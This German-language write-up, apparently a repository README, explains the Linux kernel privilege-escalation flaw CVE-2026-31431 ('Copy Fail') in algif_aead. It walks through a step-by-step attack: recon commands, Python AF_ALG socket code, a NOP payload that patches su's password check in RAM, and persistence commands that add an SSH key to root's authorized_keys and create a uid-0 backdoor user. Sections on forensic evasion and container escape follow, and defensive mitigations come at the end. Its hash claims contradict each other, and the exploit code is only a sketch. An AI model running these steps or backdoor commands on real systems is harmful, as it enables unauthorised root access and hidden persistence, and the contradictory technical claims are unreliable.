CVE-2026-31431 — Copy Fail: Linux-Kernel-Privilege-Eskalation

Bildungsanalyse der Copy-Fail-Schwachstelle im Linux-Kernel.
Behandelt den Speicherkorruptionsmechanismus, den Privilege-Escalation-Ablauf, den Container-Ausbruch und defensive Gegenmaßnahmen.

⚠️ Haftungsausschluss

Dieses Repository dient ausschließlich Bildungs- und Forschungszwecken.
Verwenden Sie diese Informationen nicht auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Testgenehmigung haben.
Alle Codeausschnitte und Befehle dienen ausschließlich dem Verständnis der Interna des Linux-Kernels.

Inhaltsverzeichnis

• Überblick
• Schwachstellen-Steckbrief
• Hintergrundkonzepte
• Wie der Fehler funktioniert
• Vollständiger Angriffsablauf
• Warum es so gefährlich ist
• Sichere praktische Beobachtung
• Verteidigung & Erkennung
• Vergleich mit ähnlichen CVEs
• Glossar
• Kurzreferenz

Überblick

CVE-2026-31431, auch bekannt als Copy Fail, ist eine Schwachstelle im Linux-Kernel, bei der ein nicht privilegierter lokaler Benutzer ohne besondere Berechtigungen zu root aufsteigen kann.

Der Angriff findet vollständig im RAM statt. Die Datei auf der Festplatte wird nie berührt — das bedeutet, dass Datei-Hashes sauber bleiben, Zeitstempel unverändert sind und Audit-Logs nichts aufzeichnen. Beim Neustart des Systems verschwinden alle Beweise.

Normaler Benutzer  →  algif_aead-Fehler ausnutzen  →  Page Cache überschreiben  →  root

Wichtige Eigenschaften:

• ✅ Keine Race Condition — funktioniert zuverlässig jedes Mal
• ✅ Festplatte unberührt — Forensik findet nichts
• ✅ Erfordert nur ein normales lokales Benutzerkonto
• ✅ Ermöglicht Container-Ausbruch über gemeinsamen Page Cache

Schwachstellen-Steckbrief

Hintergrundkonzepte

/usr/bin/su — Das Ziel-Binary

su (Switch User) ermöglicht einem Benutzer, zu einem anderen Konto zu wechseln — typischerweise zu root. Es ist ein SetUID-Binary:

ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
#   ^-- 's' = SetUID-Flag

Das s-Flag bedeutet: Wenn irgendein Benutzer dieses Binary ausführt, wird es mit root-Berechtigungen ausgeführt. Das macht es zu einem Ziel von hohem Wert.

Seine interne Logik (vereinfacht):

if (password_correct()) {
    give_root_access();
} else {
    deny_access();
}

Das Angriffsziel: die password_correct()-Prüfung vollständig überspringen.

RAM und Page Cache

Wenn Linux eine Datei von der Festplatte liest, behält es eine Kopie im RAM, den sogenannten Page Cache.

cat /proc/meminfo | grep Cached
# Cached: 1234567 kB  ← dies ist der Page Cache

Puffer und sicherer Puffer

AF_ALG und algif_aead

AF_ALG (Algorithm Family) ist eine Linux-Socket-Schnittstelle, die es Benutzerprogrammen ermöglicht, Kernel-Kryptofunktionen (AES, SHA, AEAD) zu nutzen.

socket(AF_ALG, SOCK_SEQPACKET, 0);  // Krypto-Socket öffnen

algif_aead ist das Kernel-Modul, das AEAD-Verschlüsselung (z. B. AES-GCM) über AF_ALG verarbeitet. Die Schwachstelle liegt in seinem Datenkopierschritt.

AF_ALG  →  algif_aead  →  AES-GCM-Engine  →  Ausgabepuffer
                                ↑
                           FEHLER IST HIER

Wie der Fehler funktioniert

Der Fehler liegt nicht in der Verschlüsselungslogik. Er liegt in der Speicherverwaltung — während eines Datenkopiervorgangs wird der falsche Speicherbereich ausgewählt.

Normaler Ablauf (kein Fehler):

destination = safe_output_buffer;       // korrekte Position
memcpy(destination, user_data, size);   // Daten sicher geschrieben

Verwundbarer Ablauf (mit Fehler):

destination = buffer + WRONG_OFFSET;    // FEHLER: falscher Zeiger!
memcpy(destination, user_data, size);   // Daten landen im Page Cache

Der Kernel sollte in den sicheren Ausgabepuffer schreiben. Aufgrund eines falsch berechneten Offsets schreibt er in den Page Cache — der die RAM-Kopie von /usr/bin/su enthält.

Was der Angreifer im Speicher ändert

Das Binary enthält x86-64-Maschinencode. Der Angreifer zielt auf den bedingten Sprung, der die Authentifizierungsfehler auslöst:

Vor dem Angriff:

cmp  eax, 0     ; Rückgabewert prüfen
jne  0x1234     ; wenn Fehler → Sprung zu deny
call give_root  ; root gewähren

Nach dem Angriff (2 Bytes im RAM geändert):

cmp  eax, 0     ; gleich
90 90           ; NOP NOP ← Sprung ersetzt, Prüfung übersprungen!
call give_root  ; CPU landet hier direkt

NOP = No Operation. Die CPU tut nichts und fährt fort — die Authentifizierungsprüfung wird vollständig übersprungen.

Vollständiger Angriffsablauf

Denkweise vor dem Angriff

„Ich brauche nur ein normales Benutzerkonto. Der Kernel wird den Fehler selbst machen.
Die Festplatte bleibt sauber. Keine Logs. Funktioniert jedes Mal."

Schritt 0 — Aufklärung

whoami && id
# uid=1000(user) gid=1000(user) ← normaler Benutzer

uname -r
# 6.1.0-generic ← im verwundbaren Bereich

ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID bestätigt

python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG verfügbar')"

Schritt 1 — Datei in den Page Cache laden

cat /usr/bin/su > /dev/null
# /usr/bin/su ist jetzt im Page Cache geladen ✓

Schritt 2 — Das Binary reverse-engineeren

xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su

Gesucht werden: die Adresse der Auth-Funktion, der bedingte jne/jnz-Sprung und sein exakter Byte-Offset.

Schritt 3 — AF_ALG-Socket öffnen

import socket, struct

sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)

Schritt 4 — Präparierte Nutzlast senden

payload = b'\x90\x90'  # NOP NOP — ersetzt den bedingten Sprung
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])

Schritt 5 — Kernel überschreibt den Page Cache

# Kernel intern (vereinfacht):
destination = buffer + crafted_offset  # FEHLER: falscher Zeiger
memcpy(destination, payload, 2)        # NOP-Bytes in den Page Cache geschrieben
# Die Passwortprüfung von /usr/bin/su ist jetzt NOP NOP im RAM

Schritt 6 — Auslösen

su
# Passwort: (irgendetwas — oder einfach Enter drücken)
# root@victim:/# ← ROOT ERHALTEN

Was passiert ist: Das System führte /usr/bin/su aus dem RAM aus. Die Passwortprüfung war NOP. Die CPU übersprang sie. give_root() wurde direkt aufgerufen.

Schritt 7 — Persistenz (optional)

echo 'attacker_public_key' >> /root/.ssh/authorized_keys

useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd

Warum es so gefährlich ist

Keine Race Condition

Festplatte unberührt — Forensik versagt

Nach dem Angriff findet ein forensischer Ermittler:

sha256sum /usr/bin/su       # GLEICHER Hash wie zuvor ← Festplatte unberührt
diff /usr/bin/su backup/su  # Kein Unterschied
grep -r 'attack' /var/log/  # Nichts
auditd-Logs                 # Kein Dateischreibvorgang aufgezeichnet

Beim Neustart wird der RAM geleert — alle Beweise sind verschwunden.

Container-Ausbruch

Container isolieren den Benutzerbereich — aber der Kernel wird gemeinsam genutzt, und der Page Cache ist Kernel-Speicher.

Host-Kernel
├── Container 1 (isolierter Benutzerbereich)
│   └── Angreifer ist hier
├── Container 2
└── Host-Prozess

Page Cache: GEMEINSAM zwischen allen Containern und dem Host!

Ausbruchspfad: Angreifer in Container 1 liest /usr/bin/su des Hosts → löst den Fehler aus → das Host-Binary im RAM wird modifiziert → die Ausführung von su auf dem Host ergibt root auf dem Host-Rechner.

Betroffen: Docker, Podman, LXC, Kubernetes (gemeinsame Knoten) — wenn der Host-Kernel verwundbar ist.

Sichere praktische Beobachtung

Dies sind nur Beobachtungsübungen. Verwenden Sie für Tests eine Laborumgebung (Docker + VM mit altem Kernel).

Page Cache beobachten

free -h                      # Cache-Wert vorher notieren
cat /usr/bin/su > /dev/null  # Datei in den Page Cache laden
free -h                      # Cache steigt leicht an

Speicherzuordnung des Binaries anzeigen

su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su

Binary untersuchen

xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'

Assembly anzeigen (gdb)

sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit

Festplatten- vs. RAM-Hash

sha256sum /usr/bin/su
# Normalerweise identisch mit der Festplatte — unterscheidet sich nach einem erfolgreichen Angriff
# /proc/PID/mem-Vergleich erfordert root

Verteidigung & Erkennung

Sofortige Gegenmaßnahmen

Priorität 1 — Kernel-Update (beste Lösung)

# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot

# RHEL / CentOS
sudo yum update kernel
sudo reboot

Priorität 2 — algif_aead deaktivieren

sudo modprobe -r algif_aead

echo 'install algif_aead /bin/false' | \
  sudo tee /etc/modprobe.d/disable-algif-aead.conf

Priorität 3 — Zugriffskontrollen
Wenden Sie Seccomp-Profile mit SystemCallFilter in systemd-Diensten an, um den AF_ALG-Socket-Zugriff für nicht vertrauenswürdige Prozesse einzuschränken.

Erkennung

eBPF-Echtzeiterkennung

sudo bpftrace -e '
  kprobe:algif_aead_sendmsg {
    printf("ALERT: algif_aead sendmsg von PID %d (Benutzer %d)\n", pid, uid);
  }
'

Container-Härtung

# Mit Seccomp-Profil ausführen (blockiert AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image

• Seccomp-Profile verwenden, die die AF_ALG-Socket-Erstellung blockieren
• gVisor oder ähnliche Kernel-Isolation für Hochrisiko-Workloads verwenden
• Privilegierte Container vermeiden
• Schreibgeschütztes Root-Dateisystem in Containern einrichten
• Kubernetes-Pod-Sicherheitsstandards anwenden — restricted-Richtlinie

Vergleich mit ähnlichen CVEs

CVE-2026-31431 kombiniert Tarnung (Festplatte unverändert) + Zuverlässigkeit (keine Race Condition) + Container-Ausbruch — was es in seiner Klasse einzigartig gefährlich macht.

Glossar

Kurzreferenz

Angriffsablauf auf einen Blick

Verteidigungs-Checkliste

• Kernel sofort auf gepatchte Version aktualisieren
• algif_aead-Modul deaktivieren, wenn nicht benötigt
• eBPF- oder Falco-Kernel-Level-Überwachung aktivieren
• Container-Seccomp-Profile aktualisieren, um AF_ALG zu blockieren
• Speicherbasierte Binary-Integritätsprüfungen planen
• Incident-Response-Plan überprüfen und aktualisieren

Der Einzeiler

Bei CVE-2026-31431 hat das Krypto-Modul des Linux (algif_aead) einen Speicherkopierfehler, der dazu führt, dass angreiferkontrollierte Daten im Page Cache statt im sicheren Ausgabepuffer landen — wodurch ein SetUID-Binary im RAM stillschweigend modifiziert wird — und jedem lokalen Benutzer root-Zugriff ermöglicht, ohne eine einzige Spur auf der Festplatte zu hinterlassen.

Dieses Dokument wurde für das bildungsbezogene Verständnis der Sicherheitsinterna des Linux-Kernels erstellt.
— Nur für Bildungszwecke —

📄 Vollständiger Bericht (PDF)

👉 Vollständigen Bericht herunterladen